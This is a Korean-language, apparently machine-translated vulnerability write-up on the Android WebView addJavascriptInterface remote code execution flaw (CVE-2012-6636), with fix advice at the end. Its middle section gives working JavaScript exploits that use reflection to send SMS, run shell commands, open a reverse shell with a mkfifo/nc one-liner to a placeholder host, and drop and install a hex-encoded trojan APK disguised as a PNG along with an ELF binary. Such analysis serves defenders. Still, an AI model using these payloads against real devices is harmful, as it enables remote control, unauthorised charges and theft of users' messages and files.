Android 에서 WebView 원 격 코드 실행 구멍 에 대한 분석

11703 단어 androidwebview구멍
1. WebView 원 격 코드 실행 구멍 설명
      Android API level 16 및 이전 버 전에 원 격 코드 실행 보안 구멍 이 있 습 니 다.이 구멍 은 프로그램 이 WebView 를 사용 하 는 것 을 정확하게 제한 하지 않 았 기 때 문 입 니 다.addJavascriptInterface 방법,원 격 공격 자 는 자바 Reflection API 를 사용 하여 이 구멍 을 이용 하여 임의의 자바 대상 을 실행 하 는 방법 을 사용 할 수 있 습 니 다.쉽게 말 하면 addJavascriptInterface 를 통 해 WebView 에 JavaScript 브리지 인 터 페 이 스 를 추가 하고 JavaScript 는 이 인 터 페 이 스 를 호출 하여 로 컬 JAVA 인 터 페 이 스 를 직접 조작 할 수 있 습 니 다.이 구멍 은 최초 로 CVE-2012-6636[1]에 발표 되 었 으 며,WebView 에서 addJavascriptInterface API 로 인 한 원 격 코드 실행 보안 구멍 을 묘사 하 였 다.
      이 구멍 이 발 표 된 최근 여러 안 드 로 이 드 유행 애플 리 케 이 션 은 고위 험 괘 마 구멍 이 드 러 났 다.메시지 나 친구 커 뮤 니 티 계 의 한 인터넷 주 소 를 클릭 하면 사용자 의 휴대 전화 가 자동 으로 괘 마 된 코드 명령 을 실행 하여 악성 요금 공제 소프트웨어 가 설치 되 고 친구 에 게 사기 문자,주소록 과 문자 가 도 둑 맞 고 원 격 제어 되 는 등 심각 한 결 과 를 초래 했다.먹구름 구멍 플랫폼 에 서 는 안 드 로 이 드 버 전의 위 챗,QQ,텐 센트 웨 이 보,QQ 브 라 우 저,속보,바 이 두 브 라 우 저,금 산 브 라 우 저 등 수많은 TOP 애플 리 케 이 션 이 같은 유형의 구멍 을 드 러 냈 다.
      논문 Attacks on WebView in the Android System[2]에 서 는 내 보 낸 읽 기와 쓰기 파일 인 터 페 이 스 를 이용 하여 파일 의 읽 기와 쓰기 작업 을 할 수 있다 고 지적 했다.공격 자 는 중간자 공격 을 통 해 Webview 가 표시 하 는 페이지 를 변경 하여 모 바 일 파일 시스템 에 대한 통 제 를 실현 할 수 있다.
2. WebView 원 격 코드 실행 영향 범위
      Android API level 17 이하(즉,Android 4.2 이전 시스템 버 전)
3.WebView 원 격 코드 실행 구멍 상세 정보
1) WebView 원 격 코드 실행 구멍 위치:
      WebView.addJavascriptInterface(Object obj, String interfaceName)
2)WebView 원 격 코드 실행 빈틈 트리거 전제 조건:
      자바 스 크 립 트 인터페이스 방법 으로 자바 스 크 립 트 가 호출 할 수 있 는 자바 대상 을 등록 합 니 다.
      WebView 를 사용 하여 외부 웹 페이지 나 로 컬 웹 페이지 를 불 러 옵 니 다.
      Android 시스템 버 전이 4.2 보다 낮 음;
3) WebView 원 격 코드 실행 구멍 원리:
      Android 시스템 은 WebView.addJavascriptInterface 방법 을 통 해 JavaScript 가 호출 할 수 있 는 자바 대상 을 등록 하여 JavaScript 의 기능 을 강화 합 니 다.그러나 시스템 은 자바 류 를 등록 하 는 방법 에 대한 호출 에 제한 이 없다.이 로 인해 공격 자 는 반사 체 제 를 이용 하여 등록 되 지 않 은 다른 모든 자바 류 를 호출 할 수 있 고 결국은 자바 스 크 립 트 능력 의 무한 한 증 가 를 초래 할 수 있다.공격 자 는 이 구멍 을 이용 하여 클 라 이언 트 의 능력 에 따라 하고 싶 은 대로 할 수 있다.
4. WebView 원 격 코드 실행 구멍 POC
      1)자바 스 크 립 트 인터페이스 방법 을 이용 하여 자바 스 크 립 트 가 호출 할 수 있 는 자바 대상'injectedObj'를 등록 하고,반사 메커니즘 을 이용 하여 안 드 로 이 드 API sendTextMessage 를 호출 하여 문 자 를 보 냅 니 다.
      자바 코드:

mWebView = new WebView(this);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(this, "injectedObj");
mWebView.loadUrl(file:///android_asset/www/index.html);
      EXP 의 JavaScript 코드:

<html>
 <body>
 <script>
  var objSmsManager = injectedObj.getClass().forName("android.telephony.SmsManager").getM ethod("getDefault",null).invoke(null,null);
  objSmsManager.sendTextMessage("10086",null,"this message is sent by JS when webview is loading",null,null);
 </script>
 </body>
</html>
      2)자바 스 크 립 트 인터페이스 방법 으로 자바 스 크 립 트 호출 가능 한 자바 대상"injectedObj"를 등록 하고 반사 체 제 를 이용 하여 안 드 로 이 드 API getRuntime 을 호출 하여 셸 명령 을 수행 합 니 다.
      EXP 의 JavaScript 코드:

<html>
 <body>
 <script>
  function execute(cmdArgs)
  {
  return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
  }

  var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
  document.write(getContents(res.getInputStream()));
 </script>
 </body>
</html>
      이용 후 실행 결과:

      3)자바 스 크 립 트 인터페이스 방법 을 이용 하여 자바 스 크 립 트 가 호출 할 수 있 는 자바 대상'injectedObj'를 등록 하고 반사 체 제 를 이용 하여 안 드 로 이 드 API getRuntime 을 호출 하여 셸 명령 을 실행 하여 원 격 제어 단 으로 셸 을 되 돌려 주 는 목적 을 달성 합 니 다.
      EXP 의 JavaScript 코드:

<html>
 <body>
 <script>
  function execute(cmdArgs)
  {
  return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
  }
  execute(["/system/bin/sh","-c","rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/system/bin/sh -i 2>&1|nc x.x.x.x 9099 >/tmp/f"]);
 </script>
 </body>
</html>
      실행 후 결과:
 
      4)자바 스 크 립 트 인터페이스 방법 을 이용 하여 자바 스 크 립 트 가 호출 할 수 있 는 자바 대상 인"injectedObj"를 등록 하고 반사 체 제 를 이용 하여 안 드 로 이 드 API getRuntime 을 호출 하여 셸 명령 을 실행 합 니 다.a 목마 응용 APK 를 설치 하고 b 는 ELF 실행 프로그램 을 설치 합 니 다.
      간단 한 설치 문자 목마 APK,EXP 의 자바 스 크 립 트 코드:

<html>
 <body>
 <script>
  function execute(cmdArgs)
  {
  return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
  }
  var apk = "\\x50\\x4B\\x03\\x04\\x14\\x00\\x08\\x00\\x08\\x00\\x62 \\xB9\\x15\\x30\\x3D\\x07\\x01\\x00\\x00\\x7C\\x01\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD6\\x0D\\x00\\x00\\x4D\\x45\\x54\\x41\\x2D\\x49\\x4E\\x46\\x2F\\x43\\x45\\x52\\x54\\x2E\\x53------------------------------------------------------------ \\x4D\\x45\\x54\\x41\\x2D\\x49\\x4E\\x46\\x2F\\x43\\x45\\x52\\x54\\x2E\\x52\\x53\\x41\\x50\\x4B\\x05\\x06\\x00\\x00\\x00\\x00\\x07\\x00\\x07\\x00\\xBA\\x01\\x00\\x00\\xB6\\x11\\x00\\x00\\x00\\x00"
  execute(["/system/bin/sh","-c","echo '"+apk+"' > /data/data/com.example.hellojs/fake.png"]);
  execute(["chmod","755","/data/data/com.example.hellojs/fake.png"]);
  execute(["su","-c","pm install -r /data/data/com.example.hellojs/fake.png"]);
 </script>
 </body>
</html>
      다음 그림 에서 알 수 있 듯 이 우 리 는 APK 프로그램 으로 연결 되 었 고 png 그림 으로 위장 했다.
 
      아래 그림 에서 알 수 있 듯 이 우 리 는 fake.png APK 프로그램 을 성공 적 으로 설치 했다.
 
      예 를 들 어 인터넷 에서 유행 하 는 Androat 원 격 제어 프로그램 은 공격 자가 상기 구멍 을 이용 하여 이 원 격 제어 목마 응용 APK 를 간단하게 설치 하면 원 격 으로 사용자 의 휴대 전 화 를 제어 하 는 목적 을 달성 할 수 있다.   
      빈틈 을 이용 하여 ELF 프로그램 을 실행 하고 이 ELF 프로그램 을 실행 하여 원 하 는 목적 을 달성 할 수 있 습 니 다.
【3】루트 가 아 닌 상태 에서 ELF 실행 가능 한 프로그램 을 이용 하여 sdcard 의 파일 을 훔 치 는 POC 도 실현 했다.이 를 통 해 알 수 있 듯 이 이 구멍 의 위해 성 은 매우 크다.
     EXP 의 JavaScript 코드:

<html>
 <body>
  <script>
   function execute(cmdArgs)
   {
    return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
   }
   var bin = "\\x7F\\x45\\x4C\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x28\\x00\\x01\\x00\\x00\\x00\\xE4\\x83\\x00\\x00\\x34\\x00\\x00\\x00\\x58\\x21\\x00\\x00\\x00\\x00\\x00\\x05\\x34\\x00\\x20\\x00\\x08\\x00\\x28\\x00\\x18\\x00\\x17\\x00\\x06\\x00\\x00\\x00\\x34\\x00\\x00\\x00\\x34\\x80\\x00\\x00\\x34\\x80\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x04\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x34\\x01\\x00\\x00\\x34\\x81\\x00\\x00\\x34\\x81\\x00\\x00\\x13--------------------------------------------------------------------------------------------------------------------------------\\x00\\x00\\x00\\x00\\xD4\\x00\\x00\\x00\\x03\\x00\\x00\\x70\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x44\\x20\\x00\\x00\\x2D\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x71\\x20\\x00\\x00\\xE4\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00";
   execute(["/system/bin/sh","-c","echo '" + bin + "' > /data/data/com.example.hellojs/testBin"]);
   execute(["chmod","755","/data/data/com.example.hellojs/testBin"]);
   var res = execute(["/data/data/com.example.hellojs/testBin"]);
   document.write(getContents(res.getInputStream()));
  </script>
 </body>
</html>
      “testBin"파일 이 연결 되 어 생 성 되 었 습 니 다.다음 그림 과 같 습 니 다.

      실행 후의 결 과 는 다음 과 같다.
 
5. WebView 원 격 코드 실행 구멍 복구 제안
1.API Level 은 17 이상 의 안 드 로 이 드 시스템[4]
      보안 상의 이유 로 Java 계층 의 함수 가 임의로 호출 되 는 것 을 방지 하기 위해 Google 은 4.2 버 전 이후 호출 이 허 용 된 함 수 는@JavascriptInterface 로 주석 을 달 아야 하 므 로 한 응용 프로그램 이 의존 하 는 API Level 이 17 이상 이면 이 문제 의 영향 을 받 지 않 습 니 다(주:Android 4.2 에서 API Level 이 17 이하 인 응용 프로그램 도 영향 을 받 을 수 있 음).Google 공식 문서[5]사용 예시:

class JsObject {
 @JavascriptInterface
 public String toString() { return "injectedObject"; }
}
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
2.API Level 은 17 이상 의 Android 시스템 과 같 거나 같 습 니 다.
      불필요 한 안전 위험 을 가 져 오지 않도록 addJavascriptInterface 인 터 페 이 스 를 사용 하지 않 는 것 을 권장 합 니 다.블 로그[6]를 참조 하 십시오.
      addJavascriptInterface 인 터 페 이 스 를 사용 해 야 한다 면:
      1) HTTPS 프로 토 콜 로 URL 을 불 러 오 면 방문 한 페이지 가 변경 되 지 않도록 인증서 검증 을 해 야 합 니 다.
      2) HTTP 프로 토 콜 로 URL 을 불 러 오 면 화이트 리스트 필터,완전 성 검사 등 방문 한 페이지 가 변경 되 는 것 을 방지 해 야 합 니 다.
      3) 로 컬 Html 을 불 러 오 면 html 파일 을 APK 에 내장 하고 html 페이지 의 완전 성 을 검증 해 야 합 니 다.
3.안 드 로 이 드 시스템 내부 의 기본 내장 인터페이스 제거
      한편,2014 년 안 드 로 이 드 시스템 에서 웹 키 트 에 기본적으로 내 장 된 searchBoxJavaBridge 를 발견 했다.인터페이스 에 원 격 코드 실행 구멍 이 동시에 존재 합 니 다.이 구멍 은 CVE-2014-1939[7]에 발표 되 었 습 니 다.개발 자 는 다음 과 같은 방식 으로 이 자바 script 인 터 페 이 스 를 제거 하 는 것 을 권장 합 니 다.    

 removeJavascriptInterface("searchBoxJavaBridge_") 
      2014 년 홍콩이공대학 의 연구원 인 다 오위 안 우(Daoyuan Wu)와 록 키 창(Rocky Chang)은 두 개의 새로운 공격 벡터 가 안 드 로 이 드/webkit/Accessibility Injector.java 에 존재 하 는 것 을 발견 했다.각각'accessibility'와'accessibility Traversal'이다.이 구성 요소 의 응용 은 보조 기능 옵션 을 켜 는 제3자 서비스의 안 드 로 이 드 시스템 에서 원 격 코드 실행 에 빈틈 을 초래 할 수 있다.이 구멍 은 CVE-2014-7224 에 발표 되 며,이 구멍 원 리 는 searchBoxJavaBridge인터페이스 원 격 코드 의 실행 이 비슷 합 니 다.모두 안전 하지 않 은 기본 인 터 페 이 스 를 제거 하지 않 았 습 니 다.개발 자 는 다음 과 같은 방식 으로 이 자바 스 크 립 트 인 터 페 이 스 를 제거 하 는 것 을 권장 합 니 다.

removeJavascriptInterface("accessibility");
 removeJavascriptInterface("accessibilityTraversal");
참고 문장
[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6636
[2] Attacks on WebView in the Android System
[3] http://50.56.33.56/blog/?p=314
[4] Google Official Android API Level Reference
[5] http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String)
[6]Webview 에서 JS 와 자바 가 안전하게 서로 호출 되 는 방법
[7] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1939
총결산
이상 은 이 글 의 전체 내용 입 니 다.본 논문 의 내용 이 여러분 의 학습 이나 업무 에 어느 정도 참고 학습 가치 가 있 기 를 바 랍 니 다.궁금 한 점 이 있 으 시 면 댓 글 을 남 겨 주 셔 서 저희 에 대한 지지 에 감 사 드 립 니 다.

좋은 웹페이지 즐겨찾기